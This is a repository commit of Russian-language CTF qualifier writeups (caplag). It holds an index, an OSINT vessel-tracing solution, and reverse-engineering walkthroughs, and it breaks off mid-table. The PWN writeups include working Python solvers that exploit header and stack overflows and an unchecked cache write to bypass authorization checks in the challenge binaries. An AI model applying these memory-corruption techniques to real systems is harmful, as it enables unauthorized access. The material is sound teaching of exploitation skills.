Init. Commit
@@ -0,0 +1,84 @@
|
||||
<h1 align="center">Сердце Сысолы</h1>
|
||||
|
||||
<p align="center"><i>Отборочный этап · writeups</i></p>
|
||||
|
||||
<p align="center">
|
||||
<img src="https://img.shields.io/badge/writeups-18-blue" alt="writeups: 18"/>
|
||||
<img src="https://img.shields.io/badge/categories-6-orange" alt="categories: 6"/>
|
||||
</p>
|
||||
|
||||
[Оба этапа](../README.md)
|
||||
|
||||
## Задания
|
||||
|
||||
<details>
|
||||
<summary><b>Crypto</b> · 3 разбора</summary>
|
||||
|
||||
| Сложность | Таск | Описание |
|
||||
|---|---|---|
|
||||
|  | [SealTail](sealtail-crypto-easy/WRITEUP.md) | Дописываем неподписанную TLV-команду к капсуле с валидной RSA-подписью. |
|
||||
|  | [ShardSlope](shardslope-crypto-easy/WRITEUP.md) | Восстанавливаем секрет Шамира по повторно использованному наклону. |
|
||||
|  | [TagPreview](tagpreview-crypto-easy/WRITEUP.md) | Портим тег запечатанной заметки и читаем plaintext из ответа об ошибке. |
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary><b>Forensic</b> · 1 разбор</summary>
|
||||
|
||||
| Сложность | Таск | Описание |
|
||||
|---|---|---|
|
||||
|  | [Runner Ashfall](runner-ashfall-forensic-hard/WRITEUP.md) | Восстанавливаем CI/CD-инцидент по десяти связанным ответам. |
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary><b>OSINT</b> · 2 разбора</summary>
|
||||
|
||||
| Сложность | Таск | Описание |
|
||||
|---|---|---|
|
||||
| — | [Banani](banani/WRITEUP.md) | По кадру порта находим судно, контейнер из видео задержания и его TIR. |
|
||||
| — | [Призрачный самолёт](prizrachniy-samolet/WRITEUP.md) | От аэропорта Игероте идём к исчезнувшему YV3338 и его последней позиции. |
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary><b>PWN</b> · 6 разборов</summary>
|
||||
|
||||
| Сложность | Таск | Описание |
|
||||
|---|---|---|
|
||||
|  | [BioSignal Relay](biosignal-relay-pwn-hard/WRITEUP.md) | Перезаписываем дескриптор канала дополнительным CLP-заголовком. |
|
||||
|  | [CommBridge](commbridge-pwn-medium/WRITEUP.md) | Раздуваем escaped-команду и переписываем права экспорта на стеке. |
|
||||
|  | [CopyCache Runner](copycache-runner-pwn-hard/WRITEUP.md) | Меняем права и контрольную сумму политики прямо в кеше раннера. |
|
||||
|  | [GumboGate](gumbogate-pwn-easy/WRITEUP.md) | Девятым атрибутом одной корзины затираем поле одобрения отчёта. |
|
||||
|  | [HeifTrack](heiftrack-pwn-medium/WRITEUP.md) | Занимаем освобождённый chunk метаданными и используем висячий playback. |
|
||||
|  | [LeaseMesh](lease-mesh-pwn-medium/WRITEUP.md) | Через утечку PIE и use-after-free подменяем обработчик маршрута. |
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary><b>Reverse</b> · 5 разборов</summary>
|
||||
|
||||
| Сложность | Таск | Описание |
|
||||
|---|---|---|
|
||||
|  | [Chameleon Line](chameleon-line-dotnet-reverse-easy/WRITEUP.md) | Достаём AES-ключ и IV из .NET-строк и расшифровываем конфиг. |
|
||||
|  | [CrateWatch](cratewatch-native-rust-reverse-hard/WRITEUP.md) | Находим секцию с конфигом среди Rust-обвязки и снимаем XOR. |
|
||||
|  | [FvncLite](fvnclite-android-reverse-easy/WRITEUP.md) | Расшифровываем таблицу команд APK ключом из OpsService. |
|
||||
|  | [Mileage MDM](mileage-mdm-ios-reverse-hard/WRITEUP.md) | Собираем XOR-ключ из seed профиля и открываем карту доказательства. |
|
||||
|  | [Modbus Mirror](modbus-mirror-native-c-reverse-medium/WRITEUP.md) | Извлекаем встроенный конфиг Modbus и читаем сервисный ключ. |
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary><b>Web</b> · 1 разбор</summary>
|
||||
|
||||
| Сложность | Таск | Описание |
|
||||
|---|---|---|
|
||||
|  | [Launchlet](launchlet-web-medium/WRITEUP.md) | Через манифесты, фильтр workspace и server action получаем три флага. |
|
||||
|
||||
</details>
|
||||
|
||||
---
|
||||
|
||||
<p align="center">
|
||||
<a href="https://caplag.ru/"><img src="../assets/caplag-logo.svg" alt="Caplag" height="28"/></a>
|
||||
</p>
|
||||
@@ -0,0 +1,52 @@
|
||||
<h1 align="center">Banani</h1>
|
||||
|
||||
<p align="center">
|
||||
<img src="https://img.shields.io/badge/category-OSINT-blueviolet" alt="OSINT"/>
|
||||
</p>
|
||||
|
||||
На старте есть фотография порта и описание судна. Нужно определить порт, судно и контейнер, который оно перевозило. В ответе нужны название порта, IMO, номер контейнера и TIR. Ответ записываем по шаблону `caplag{PortName_IMO_XXXX0000000_TIR:XX/X00000XX/0000}`, в котором `X` обозначает заглавную латинскую букву, а `0` обозначает цифру.
|
||||
|
||||
<p align="center">
|
||||
<img src="assets/port.png" alt="Исходный кадр порта с сине-белым судном у причала" width="720"/>
|
||||
</p>
|
||||
|
||||
## Решение
|
||||
|
||||
Начинаем с геолокации. На снимке видны контейнерный терминал, краны, длинный причал и выход из гавани. Сопоставление с картой приводит в эстонский порт **Muuga**, где расположение причалов и контейнерной площадки совпадает.
|
||||
|
||||
<p align="center">
|
||||
<img src="assets/muuga-map.png" alt="Спутниковый снимок порта Muuga с причалами и контейнерным терминалом" width="480"/>
|
||||
</p>
|
||||
|
||||
Теперь ищем сине-белое судно на заднем плане. Сравниваем корпус, надстройку и расположение кранов с фотографией в [карточке VesselFinder](https://www.vesselfinder.com/vessels/details/9765873). Совпадение указывает на **BALTIC SPIRIT** с IMO `9765873`. Именно IMO нужен для ответа, название помогает связать судно с новостями.
|
||||
|
||||
<p align="center">
|
||||
<img src="assets/baltic-spirit.png" alt="Карточка BALTIC SPIRIT с IMO 9765873" width="720"/>
|
||||
</p>
|
||||
|
||||
Дальше находим [сюжет ERR о задержании судна эстонским спецназом](https://news.err.ee/1609932407/watch-estonia-s-special-forces-detain-a-suspected-smugglers-ship). В кадрах с камеры бойца появляется контейнер с маркировкой `SEGU 9696460`. Останавливаем видео на читаемом кадре и сохраняем номер без пробела.
|
||||
|
||||
<p align="center">
|
||||
<img src="assets/container.png" alt="Кадр осмотра контейнера с маркировкой SEGU 9696460" width="640"/>
|
||||
</p>
|
||||
|
||||
По номеру контейнера переходим в [Seaco Container Details](https://seaweb.seacoglobal.com/sap/bc/ui5_ui5/sap/zseaco_ue17/index.html). Вводим `SEGU9696460` и открываем карточку контейнера. В ней находим номер допуска `TIR: GB/C 13362 BV/2016` — последнюю часть ответа.
|
||||
|
||||
Собираем ответ, убирая пробелы внутри номеров и сохраняя разделители TIR:
|
||||
|
||||
| Часть | Значение |
|
||||
|---|---|
|
||||
| Порт | `Muuga` |
|
||||
| IMO судна | `9765873` |
|
||||
| Контейнер | `SEGU9696460` |
|
||||
| TIR | `TIR:GB/C13362BV/2016` |
|
||||
|
||||
## Флаг
|
||||
|
||||
`caplag{Muuga_9765873_SEGU9696460_TIR:GB/C13362BV/2016}`
|
||||
|
||||
В [проверенных контейнерах](https://rus.err.ee/1609932371/informacija-o-narkotikah-ne-podtverdilas-sudno-baltic-spirit-pokinulo-jestoniju) были ящики с бананами из Эквадора, а наркотиков не нашли. У амёбы к грузу претензий нет.
|
||||
|
||||
<p align="center">
|
||||
<img src="assets/banana-amoeba.jpg" alt="Шуточная иллюстрация с амёбой и бананами во время досмотра контейнера" width="720"/>
|
||||
</p>
|
||||
|
After Width: | Height: | Size: 234 KiB |
|
After Width: | Height: | Size: 177 KiB |
|
After Width: | Height: | Size: 816 KiB |
|
After Width: | Height: | Size: 385 KiB |
|
After Width: | Height: | Size: 2.4 MiB |
@@ -0,0 +1,56 @@
|
||||
<h1 align="center">BioSignal Relay</h1>
|
||||
|
||||
<p align="center">
|
||||
<img src="https://img.shields.io/badge/category-PWN-blueviolet" alt="PWN"/>
|
||||
<img src="https://img.shields.io/badge/difficulty-hard-critical" alt="hard"/>
|
||||
</p>
|
||||
|
||||
В раздатке есть ELF `biosignal-relay` с символами и без PIE. Сервис принимает CLP-файл, позволяет выбрать канал и запустить конвертацию. В бинаре есть обработчик `flag_channel`. Для получения флага нужно вызвать его при конвертации.
|
||||
|
||||
## Решение
|
||||
|
||||
При анализе ELF находим структуру загруженного файла. Таблица каналов лежит сразу за 64-байтным буфером заголовка:
|
||||
|
||||
```c
|
||||
struct channel {
|
||||
uint32_t magic;
|
||||
uint32_t approved;
|
||||
uint64_t handler;
|
||||
char name[32];
|
||||
}; // 48 байт
|
||||
|
||||
struct labfile {
|
||||
unsigned char header[64];
|
||||
struct channel ch[2];
|
||||
};
|
||||
```
|
||||
|
||||
При конвертации сервис проверяет `magic == 0x43484e31`, `approved == 0x42494f21` и разрешает только два обработчика: `audit_channel` и `flag_channel`. Подходящая функция уже есть в списке разрешённых, поэтому достаточно подставить её адрес.
|
||||
|
||||
Смотрим загрузку. Основной заголовок копируется с ограничением, а вот дополнительный — по смещению `hlen`, которое приходит из самого файла:
|
||||
|
||||
```c
|
||||
memcpy(lab->header, buf, n < 64 ? n : 64);
|
||||
size_t extra = n > 16 ? n - 16 : 0;
|
||||
if (extra) memcpy(lab->header + hlen, buf + 16, extra);
|
||||
```
|
||||
|
||||
Ставим `hlen = 64`, чтобы второй `memcpy` начал запись ровно с `ch[0]`. Если после первых 16 байт файла положить поддельный дескриптор, он займёт место настоящего канала.
|
||||
|
||||
Адрес `flag_channel` берём из `readelf -sW public/biosignal-relay` и сохраняем числом в переменной `flag_channel`. PIE выключен, поэтому адрес из таблицы символов подходит напрямую. Первые шесть байт файла должны быть `ICLPCL`, следующие два — `hlen` в little-endian. До дополнительного заголовка оставляем восемь нулевых байт, а с позиции `16` размещаем поддельный канал.
|
||||
|
||||
```python
|
||||
import struct
|
||||
|
||||
channel = struct.pack("<IIQ", 0x43484e31, 0x42494f21, flag_channel)
|
||||
channel += b"motor-cortex".ljust(32, b"\x00")
|
||||
payload = b"ICLPCL" + struct.pack("<H", 64) + b"\x00" * 8 + channel
|
||||
```
|
||||
|
||||
Получается файл из 16 байт заголовка и 48 байт поддельного канала, всего 64 байта. В пункте `1) upload signal file` на запрос `file bytes:` отправляем строку `64`, затем на `payload:` передаём 64 байта файла без добавленного перевода строки. После этого выбираем `2) convert channel`, канал `0`. Поля `magic` и `approved` содержат нужные значения, а `flag_channel` входит в список разрешённых обработчиков. Проверки проходят, и сервис вызывает `flag_channel`, который выводит флаг.
|
||||
|
||||
[Солвер](solve/solve.py).
|
||||
|
||||
## Флаг
|
||||
|
||||
`caplag{clp_header_extension_rewired_the_channel}`
|
||||
@@ -0,0 +1,60 @@
|
||||
#!/usr/bin/env python3
|
||||
import argparse
|
||||
import os
|
||||
import socket
|
||||
import struct
|
||||
import subprocess
|
||||
import sys
|
||||
|
||||
class Tube:
|
||||
def __init__(self, sock=None, proc=None):
|
||||
self.sock = sock
|
||||
self.proc = proc
|
||||
def recv(self, n=4096):
|
||||
if self.sock:
|
||||
return self.sock.recv(n)
|
||||
return os.read(self.proc.stdout.fileno(), n)
|
||||
def send(self, data):
|
||||
if self.sock:
|
||||
self.sock.sendall(data)
|
||||
else:
|
||||
os.write(self.proc.stdin.fileno(), data)
|
||||
def sendline(self, data):
|
||||
self.send(data + b"\n")
|
||||
def recvuntil(self, marker):
|
||||
out = b""
|
||||
while marker not in out:
|
||||
chunk = self.recv(1)
|
||||
if not chunk:
|
||||
raise EOFError(out)
|
||||
out += chunk
|
||||
return out
|
||||
|
||||
def symbol_value(binary, name):
|
||||
out = subprocess.check_output(["readelf", "-sW", binary], text=True)
|
||||
for line in out.splitlines():
|
||||
fields = line.split()
|
||||
if len(fields) >= 8 and fields[-1] == name:
|
||||
return int(fields[1], 16)
|
||||
raise RuntimeError(f"symbol not found: {name}")
|
||||
|
||||
def connect(args):
|
||||
if args.local:
|
||||
env = os.environ.copy()
|
||||
env["CTF_FLAG"] = args.flag
|
||||
proc = subprocess.Popen([args.binary], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env)
|
||||
return Tube(proc=proc)
|
||||
return Tube(sock=socket.create_connection((args.host, args.port), timeout=5))
|
||||
|
||||
def choose(io, value):
|
||||
io.recvuntil(b">")
|
||||
io.sendline(str(value).encode())
|
||||
|
||||
def main():
|
||||
p=argparse.ArgumentParser(); p.add_argument("--host",default="127.0.0.1"); p.add_argument("--port",type=int,default=31348); p.add_argument("--local",action="store_true"); p.add_argument("--binary",default="../public/biosignal-relay"); p.add_argument("--flag",default="caplag{clp_header_extension_rewired_the_channel}"); args=p.parse_args()
|
||||
target=symbol_value(args.binary,"flag_channel")
|
||||
ch=struct.pack("<IIQ",0x43484e31,0x42494f21,target)+b"motor-cortex\x00".ljust(32,b"\x00")
|
||||
frame=b"ICLP"+bytes([0x43,0x4c])+struct.pack("<H",64)+b"\x00"*8+ch
|
||||
io=connect(args); choose(io,1); io.recvuntil(b"file bytes:"); io.sendline(str(len(frame)).encode()); io.recvuntil(b"payload:"); io.send(frame)
|
||||
choose(io,2); io.recvuntil(b"channel:"); io.sendline(b"0"); data=io.recvuntil(b"}"); print(data[data.rfind(b"caplag{"):].decode())
|
||||
if __name__=="__main__": sys.exit(main())
|
||||
@@ -0,0 +1,37 @@
|
||||
<h1 align="center">Chameleon Line</h1>
|
||||
|
||||
<p align="center">
|
||||
<img src="https://img.shields.io/badge/category-Reverse-blueviolet" alt="Reverse"/>
|
||||
<img src="https://img.shields.io/badge/difficulty-easy-brightgreen" alt="easy"/>
|
||||
</p>
|
||||
|
||||
В раздатке есть .NET-установщик `ChameleonLine.dll` для удалённой поддержки цеховых ПК. В сборке находятся зашифрованный конфиг загрузчика и данные для его расшифровки.
|
||||
|
||||
## Решение
|
||||
|
||||
Открываем сборку в ILSpy или dnSpy и идём к коду загрузки конфига. В пользовательских строках находим три значения:
|
||||
|
||||
| Строка | Что в ней лежит |
|
||||
|---|---|
|
||||
| `ResourceTag` | Маркер `CFGv2:` и base64 зашифрованного конфига |
|
||||
| `KeyHex` | 32 hex-символа с префиксом `0011` — ключ AES-128 |
|
||||
| `IvHex` | 32 hex-символа с префиксом `1021` — IV |
|
||||
|
||||
Рядом находится AES-CBC-дешифратор, который использует эти строки как ключ, IV и зашифрованные данные.
|
||||
|
||||
Строки .NET лежат в `#US` в UTF-16LE, поэтому для автоматизации достаточно извлечь их прямо из бинаря. Находим `CFGv2:`, отрезаем префикс, а ключ и IV читаем как hex-представления 16-байтных значений.
|
||||
|
||||
Расшифровку можно поручить OpenSSL. Сохраняем base64-тело одной строкой в `config.b64`. В `-K` и `-iv` подставляем полные hex-строки, без префикса `0x`.
|
||||
|
||||
```bash
|
||||
openssl enc -d -aes-128-cbc -K <key> -iv <iv> \
|
||||
-nosalt -A -base64 -in config.b64
|
||||
```
|
||||
|
||||
Получаем JSON-конфиг загрузчика. В поле `export` лежит флаг. Запуск самого установщика для этого не нужен, поскольку все данные уже были в DLL.
|
||||
|
||||
[Солвер](solve/solve.py).
|
||||
|
||||
## Флаг
|
||||
|
||||
`caplag{aes_resource_config_guided_the_loader}`
|
||||
@@ -0,0 +1,28 @@
|
||||
#!/usr/bin/env python3
|
||||
from pathlib import Path
|
||||
import argparse, base64, hashlib, json, lzma, marshal, os, plistlib, re, struct, subprocess, sys, zipfile, zlib
|
||||
|
||||
def xor(data, key):
|
||||
return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))
|
||||
|
||||
def find_after(data, marker):
|
||||
off = data.index(marker) + len(marker)
|
||||
ln = struct.unpack_from('<I', data, off)[0]
|
||||
off += 4
|
||||
return data[off:off+ln]
|
||||
|
||||
def utf16_strings(data):
|
||||
vals = []
|
||||
for m in re.finditer(rb'(?:[ -~]\x00){8,}', data):
|
||||
vals.append(m.group(0).decode('utf-16le'))
|
||||
return vals
|
||||
def main():
|
||||
ap = argparse.ArgumentParser(); ap.add_argument('dll', nargs='?', default='../public/ChameleonLine.dll')
|
||||
args = ap.parse_args(); data = Path(args.dll).read_bytes(); vals = utf16_strings(data)
|
||||
enc = next(v[6:] for v in vals if v.startswith('CFGv2:'))
|
||||
key = next(v for v in vals if re.fullmatch(r'[0-9a-f]{32}', v) and v.startswith('0011'))
|
||||
iv = next(v for v in vals if re.fullmatch(r'[0-9a-f]{32}', v) and v.startswith('1021'))
|
||||
p = subprocess.run(['openssl','enc','-d','-aes-128-cbc','-K',key,'-iv',iv,'-nosalt','-A','-base64'],
|
||||
input=enc, text=True, stdout=subprocess.PIPE, check=True)
|
||||
print(json.loads(p.stdout)['export'])
|
||||
if __name__ == '__main__': main()
|
||||
@@ -0,0 +1,47 @@
|
||||
<h1 align="center">CommBridge</h1>
|
||||
|
||||
<p align="center">
|
||||
<img src="https://img.shields.io/badge/category-PWN-blueviolet" alt="PWN"/>
|
||||
<img src="https://img.shields.io/badge/difficulty-medium-orange" alt="medium"/>
|
||||
</p>
|
||||
|
||||
CommBridge работает как шлюз между SCADA-сервером и контроллерами. В нём авторизуемся, отправляем команду и подтверждаем её выполнение. В раздатке есть ELF `commbridge`. Для экспорта нужны два служебных поля, которые обычная команда не выставляет.
|
||||
|
||||
## Решение
|
||||
|
||||
В обработчике `auth` находим сравнение с постоянным токеном `operator`. Передаём его в пункте `1) auth` и переходим к приёму команды. Она декодируется в такую структуру на стеке:
|
||||
|
||||
```c
|
||||
struct frame {
|
||||
char decoded[64];
|
||||
uint32_t access;
|
||||
uint32_t cmd;
|
||||
};
|
||||
```
|
||||
|
||||
Для экспорта нужны `access = 0x434d4447` и `cmd = 0x26050613`. Оба поля лежат сразу за `decoded`, так что смотрим, сколько данных туда можно записать.
|
||||
|
||||
Сырая строка ограничена 120 символами. Но декодер понимает последовательность `@NNXX`: пять символов превращаются в `NN` копий байта `XX`, причём оба числа записаны в hex. Размер результата уже никто не проверяет. Получаем переполнение стека через расширение короткой команды.
|
||||
|
||||
Заполняем 64 байта буфера одной последовательностью `@40aa`, а затем дописываем две нужные константы в little-endian:
|
||||
|
||||
```python
|
||||
import struct
|
||||
|
||||
rights = struct.pack("<II", 0x434d4447, 0x26050613)
|
||||
payload = "@40aa" + "".join(f"@01{byte:02x}" for byte in rights)
|
||||
```
|
||||
|
||||
| Представление | Длина |
|
||||
|---|---:|
|
||||
| Сырая команда | `5 + 8 × 5 = 45` символов |
|
||||
| После декодирования | `64 + 8 = 72` байта |
|
||||
| Буфер назначения | 64 байта |
|
||||
|
||||
45 символов легко проходят входной лимит, а лишние восемь байт затирают `access` и `cmd`. Отправляем строку через `2) send escaped command`, после чего поля копируются в `pending_access` и `pending_cmd`. Выбираем `3) commit command`. Сервис проверяет значения `pending_access` и `pending_cmd` и возвращает флаг.
|
||||
|
||||
[Солвер](solve/solve.py).
|
||||
|
||||
## Флаг
|
||||
|
||||
`caplag{escaped_scada_command_expanded_into_dispatch_rights}`
|
||||
@@ -0,0 +1,60 @@
|
||||
#!/usr/bin/env python3
|
||||
import argparse
|
||||
import os
|
||||
import socket
|
||||
import struct
|
||||
import subprocess
|
||||
import sys
|
||||
|
||||
class Tube:
|
||||
def __init__(self, sock=None, proc=None):
|
||||
self.sock = sock
|
||||
self.proc = proc
|
||||
def recv(self, n=4096):
|
||||
if self.sock:
|
||||
return self.sock.recv(n)
|
||||
return os.read(self.proc.stdout.fileno(), n)
|
||||
def send(self, data):
|
||||
if self.sock:
|
||||
self.sock.sendall(data)
|
||||
else:
|
||||
os.write(self.proc.stdin.fileno(), data)
|
||||
def sendline(self, data):
|
||||
self.send(data + b"\n")
|
||||
def recvuntil(self, marker):
|
||||
out = b""
|
||||
while marker not in out:
|
||||
chunk = self.recv(1)
|
||||
if not chunk:
|
||||
raise EOFError(out)
|
||||
out += chunk
|
||||
return out
|
||||
|
||||
def symbol_value(binary, name):
|
||||
out = subprocess.check_output(["readelf", "-sW", binary], text=True)
|
||||
for line in out.splitlines():
|
||||
fields = line.split()
|
||||
if len(fields) >= 8 and fields[-1] == name:
|
||||
return int(fields[1], 16)
|
||||
raise RuntimeError(f"symbol not found: {name}")
|
||||
|
||||
def connect(args):
|
||||
if args.local:
|
||||
env = os.environ.copy()
|
||||
env["CTF_FLAG"] = args.flag
|
||||
proc = subprocess.Popen([args.binary], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env)
|
||||
return Tube(proc=proc)
|
||||
return Tube(sock=socket.create_connection((args.host, args.port), timeout=5))
|
||||
|
||||
def choose(io, value):
|
||||
io.recvuntil(b">")
|
||||
io.sendline(str(value).encode())
|
||||
|
||||
def enc_byte(b): return f"@01{b:02x}".encode()
|
||||
def main():
|
||||
p=argparse.ArgumentParser(); p.add_argument("--host",default="127.0.0.1"); p.add_argument("--port",type=int,default=31346); p.add_argument("--local",action="store_true"); p.add_argument("--binary",default="../public/commbridge"); p.add_argument("--flag",default="caplag{escaped_scada_command_expanded_into_dispatch_rights}"); args=p.parse_args()
|
||||
io=connect(args); choose(io,1); io.recvuntil(b"token:"); io.sendline(b"operator")
|
||||
payload=b"@40aa"+b"".join(enc_byte(b) for b in struct.pack("<II",0x434d4447,0x26050613))
|
||||
choose(io,2); io.recvuntil(b"escaped command:"); io.sendline(payload)
|
||||
choose(io,3); data=io.recvuntil(b"}"); print(data[data.rfind(b"caplag{"):].decode())
|
||||
if __name__=="__main__": sys.exit(main())
|
||||
@@ -0,0 +1,45 @@
|
||||
<h1 align="center">CopyCache Runner</h1>
|
||||
|
||||
<p align="center">
|
||||
<img src="https://img.shields.io/badge/category-PWN-blueviolet" alt="PWN"/>
|
||||
<img src="https://img.shields.io/badge/difficulty-hard-critical" alt="hard"/>
|
||||
</p>
|
||||
|
||||
Раннер сборки прошивок загружает шаблон политики подписи в кеш и проверяет его перед запуском задания. На диске шаблон менять нельзя, но для запуска важна именно копия в памяти. В ELF `copycache-runner` ищем, какие поля открывают экспорт и кто может их перезаписать.
|
||||
|
||||
## Решение
|
||||
|
||||
Смотрим расположение полей кешированной политики.
|
||||
|
||||
| Смещение | Поле | Что нужно для запуска |
|
||||
|---:|---|---|
|
||||
| 0 | `name[16]` | На проверку не влияет |
|
||||
| 16 | `flags` | `0x4558504f` |
|
||||
| 20 | `job` | `0x26050613` |
|
||||
| 24 | `checksum` | `flags ^ job ^ 0xa5a5a5a5` |
|
||||
|
||||
После загрузки `job` уже правильный, а `flags` равен нулю. Поэтому прямой вызов `run sealed job` заканчивается `policy denied`.
|
||||
|
||||
В меню есть операция `AEAD_COPY`. Она принимает смещение и 32-битное слово, проверяет только попадание записи внутрь всей структуры, после чего выполняет:
|
||||
|
||||
```c
|
||||
memcpy((char *)&cache + off, &word, 4);
|
||||
```
|
||||
|
||||
Граница структуры соблюдается, но служебные поля внутри неё доступны для записи наравне с остальными данными. Для экспорта меняем разрешение и пересчитываем контрольную сумму.
|
||||
|
||||
```python
|
||||
flags = 0x4558504f
|
||||
job = 0x26050613
|
||||
checksum = flags ^ job ^ 0xa5a5a5a5
|
||||
```
|
||||
|
||||
Через `3) AEAD_COPY` пишем `flags` по смещению `16`, затем `checksum` по смещению `24`. Если хочется проверить себя, `2) show cached policy` показывает новые значения.
|
||||
|
||||
При выборе `4) run sealed job` сервис проверяет разрешение на экспорт, номер задания и контрольную сумму в кеше. Изменённая политика проходит проверки, и сервис выдаёт флаг. Файл шаблона на диске при этом остаётся прежним.
|
||||
|
||||
[Солвер](solve/solve.py).
|
||||
|
||||
## Флаг
|
||||
|
||||
`caplag{copy_cache_changed_policy_without_touching_disk}`
|
||||
@@ -0,0 +1,60 @@
|
||||
#!/usr/bin/env python3
|
||||
import argparse
|
||||
import os
|
||||
import socket
|
||||
import struct
|
||||
import subprocess
|
||||
import sys
|
||||
|
||||
class Tube:
|
||||
def __init__(self, sock=None, proc=None):
|
||||
self.sock = sock
|
||||
self.proc = proc
|
||||
def recv(self, n=4096):
|
||||
if self.sock:
|
||||
return self.sock.recv(n)
|
||||
return os.read(self.proc.stdout.fileno(), n)
|
||||
def send(self, data):
|
||||
if self.sock:
|
||||
self.sock.sendall(data)
|
||||
else:
|
||||
os.write(self.proc.stdin.fileno(), data)
|
||||
def sendline(self, data):
|
||||
self.send(data + b"\n")
|
||||
def recvuntil(self, marker):
|
||||
out = b""
|
||||
while marker not in out:
|
||||
chunk = self.recv(1)
|
||||
if not chunk:
|
||||
raise EOFError(out)
|
||||
out += chunk
|
||||
return out
|
||||
|
||||
def symbol_value(binary, name):
|
||||
out = subprocess.check_output(["readelf", "-sW", binary], text=True)
|
||||
for line in out.splitlines():
|
||||
fields = line.split()
|
||||
if len(fields) >= 8 and fields[-1] == name:
|
||||
return int(fields[1], 16)
|
||||
raise RuntimeError(f"symbol not found: {name}")
|
||||
|
||||
def connect(args):
|
||||
if args.local:
|
||||
env = os.environ.copy()
|
||||
env["CTF_FLAG"] = args.flag
|
||||
proc = subprocess.Popen([args.binary], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env)
|
||||
return Tube(proc=proc)
|
||||
return Tube(sock=socket.create_connection((args.host, args.port), timeout=5))
|
||||
|
||||
def choose(io, value):
|
||||
io.recvuntil(b">")
|
||||
io.sendline(str(value).encode())
|
||||
|
||||
def write_word(io, off, word):
|
||||
choose(io,3); io.recvuntil(b"dst offset:"); io.sendline(str(off).encode()); io.recvuntil(b"word:"); io.sendline(hex(word).encode())
|
||||
def main():
|
||||
p=argparse.ArgumentParser(); p.add_argument("--host",default="127.0.0.1"); p.add_argument("--port",type=int,default=31349); p.add_argument("--local",action="store_true"); p.add_argument("--binary",default="../public/copycache-runner"); p.add_argument("--flag",default="caplag{copy_cache_changed_policy_without_touching_disk}"); args=p.parse_args()
|
||||
io=connect(args); flags=0x4558504f; job=0x26050613; checksum=flags^job^0xa5a5a5a5
|
||||
write_word(io,16,flags); write_word(io,24,checksum)
|
||||
choose(io,4); data=io.recvuntil(b"}"); print(data[data.rfind(b"caplag{"):].decode())
|
||||
if __name__=="__main__": sys.exit(main())
|
||||
@@ -0,0 +1,50 @@
|
||||
<h1 align="center">CrateWatch</h1>
|
||||
|
||||
<p align="center">
|
||||
<img src="https://img.shields.io/badge/category-Reverse-blueviolet" alt="Reverse"/>
|
||||
<img src="https://img.shields.io/badge/difficulty-hard-critical" alt="hard"/>
|
||||
</p>
|
||||
|
||||
В раздатке есть Rust-бинарь `cratewatch`, который сканирует рабочий каталог в поисках ключей. Нужно определить, куда программа отправляет найденные данные. Начинаем со строк и встроенных конфигов, затем проверяем их использование в коде.
|
||||
|
||||
## Решение
|
||||
|
||||
Смотрим секции ELF и строки:
|
||||
|
||||
```bash
|
||||
readelf -SW public/cratewatch
|
||||
strings -a public/cratewatch
|
||||
```
|
||||
|
||||
Находим нестандартную секцию `.cratewatch` и маркер `CRATEWATCHCFG`. В строках также виден `cratewatch-fastlog`, который код инициализации сканера связывает с конфигом.
|
||||
|
||||
За маркером лежит простой контейнер:
|
||||
|
||||
| Поле | Формат |
|
||||
|---|---|
|
||||
| Маркер | ASCII `CRATEWATCHCFG` |
|
||||
| Длина | 4 байта, little-endian |
|
||||
| Данные | JSON, замаскированный повторяющимся XOR-ключом |
|
||||
|
||||
Ключом служит найденная строка `cratewatch-fastlog`. Читаем указанное число байт и снимаем XOR:
|
||||
|
||||
```python
|
||||
from pathlib import Path
|
||||
import json
|
||||
|
||||
data = Path("public/cratewatch").read_bytes()
|
||||
start = data.index(b"CRATEWATCHCFG") + len(b"CRATEWATCHCFG")
|
||||
size = int.from_bytes(data[start:start + 4], "little")
|
||||
blob = data[start + 4:start + 4 + size]
|
||||
key = b"cratewatch-fastlog"
|
||||
plain = bytes(b ^ key[i % len(key)] for i, b in enumerate(blob))
|
||||
print(json.loads(plain)["flag"])
|
||||
```
|
||||
|
||||
Получаем читаемый JSON. Endpoint внутри — ложный след, а нужное значение хранится в поле `flag`. Объёмный Rust-код усложнял навигацию, но для решения хватило найти контейнер и его декодер.
|
||||
|
||||
[Солвер](solve/solve.py).
|
||||
|
||||
## Флаг
|
||||
|
||||
`caplag{rust_trait_scanner_exposed_the_decoy_exfil}`
|
||||
@@ -0,0 +1,20 @@
|
||||
#!/usr/bin/env python3
|
||||
from pathlib import Path
|
||||
import argparse, base64, hashlib, json, lzma, marshal, os, plistlib, re, struct, subprocess, sys, zipfile, zlib
|
||||
|
||||
def xor(data, key):
|
||||
return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))
|
||||
|
||||
def find_after(data, marker):
|
||||
off = data.index(marker) + len(marker)
|
||||
ln = struct.unpack_from('<I', data, off)[0]
|
||||
off += 4
|
||||
return data[off:off+ln]
|
||||
|
||||
def main():
|
||||
ap=argparse.ArgumentParser(); ap.add_argument('bin', nargs='?', default='../public/cratewatch'); args=ap.parse_args()
|
||||
data=Path(args.bin).read_bytes(); off=data.index(b'CRATEWATCHCFG')+13
|
||||
ln=struct.unpack_from('<I', data, off)[0]; off += 4
|
||||
cfg=json.loads(xor(data[off:off+ln], b'cratewatch-fastlog'))
|
||||
print(cfg['flag'])
|
||||
if __name__=='__main__': main()
|
||||
@@ -0,0 +1,41 @@
|
||||
<h1 align="center">FvncLite</h1>
|
||||
|
||||
<p align="center">
|
||||
<img src="https://img.shields.io/badge/category-Reverse-blueviolet" alt="Reverse"/>
|
||||
<img src="https://img.shields.io/badge/difficulty-easy-brightgreen" alt="easy"/>
|
||||
</p>
|
||||
|
||||
В раздатке есть клиент курьерского терминала `FvncLiteCourier.apk`. Нужно найти скрытую команду экспорта аудита. Начинаем с содержимого APK, который можно распаковать как ZIP.
|
||||
|
||||
## Решение
|
||||
|
||||
В архиве интересуют два файла:
|
||||
|
||||
| Файл | Зачем нужен |
|
||||
